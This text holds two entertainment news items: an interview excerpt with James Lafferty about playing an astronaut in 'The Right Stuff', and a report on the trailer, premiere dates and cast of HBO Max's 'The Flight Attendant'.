The Right Stuff James LaffertyIn reading about Scott’s path to the Mercury program, “it reminded me a lot of my father’s own journey,” Lafferty explains. “There is just something that resonated about the way that [Scott] had just such a lust for life, and he was willing to let life take him down different paths, whether that was being a cheerleader for his high school team or an incredible horseman growing up or an outdoorsman, to being in the military and then taking a sabbatical from that and going to school. He worked several odd jobs: He was a mechanic, he was a lumberjack, he moved all over the country. He wasn’t necessarily wayward by any means. He was always a hardworking man who wanted the best for his family and knew that he was meant for something, but that calling didn’t come until, really, the Mercury Seven program. There’s a lot about that that I resonate with and that I’ve seen in my own family, and it’s a story that I really love and relate to.”

The character also marks a return to TV for Lafferty after a nine-season run on One Tree Hill and smaller turns on shows such as Crisis, Underground and The Haunting of Hill House.

“Since One Tree Hill ended, I’ve really enjoyed sort of bouncing around and taking supporting roles on other television shows or films that I felt were really interesting,” Lafferty shares. “One Tree Hill lasted for so long, and since then, I’ve really enjoyed the process of trying to figure out where I might fit next. This project is that. I feel like I finally found a home to a certain extent and a role that I feel really comfortable playing, really grateful to play. I can’t speak for how people might see that or interpret that, going from One Tree Hill to The Right Stuff, but I just know for me, personally, it felt like a great fit, and it felt natural, and I’m just incredibly grateful for it.”

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Kaley Cuoco’s titular Flight Attendant has a one-night stand to remember in the HBO Max series’ first trailer. And yet, she apparently has forgotten critical (deadly?) parts of the impulsive encounter.

HBO Max also has revealed the rollout plan for the The Flight Attendant, which (akin to Love Life and Raised by Wolves) will premiere with three episodes on Thursday, Nov. 26, followed by two more episodes on Dec. 3, two episodes on Dec. 10, and then the season finale on Dec. 17.

Based on Chris Bohjalian’s 2018 novel of the same name and described as “a story of how an entire life can change in one night,” The Flight Attendant follows the Big Bang Theory alum’s titular Cassandra Bowden, who wakes up hungover in a Dubai hotel room… with a dead body next to her, and no idea what happened. Instead of informing the police, she joins her fellow crew members on a flight to NYC, where she is met by FBI agents with a few questions about her recent layover. Unable to piece together what happened, Cassandra begins to suspect that she might be the killer.

In addition to Cuoco, who also serves as an executive producer (alongside Greg Berlanti, Sarah Schechter and others), The Flight Attendant‘s cast includes Zosia Mamet (Girls), Michiel Huisman (Game of Thrones), Rosie Perez (Rise), T.R. Knight (Grey’s Anatomy), Colin Woodell (The Originals), Michelle Gomez (Chilling Adventures of Sabrina), Merle Dandridge (Greenleaf), Griffin Matthews (Dear White People) and Nolan Gerard Funk (Awkward).

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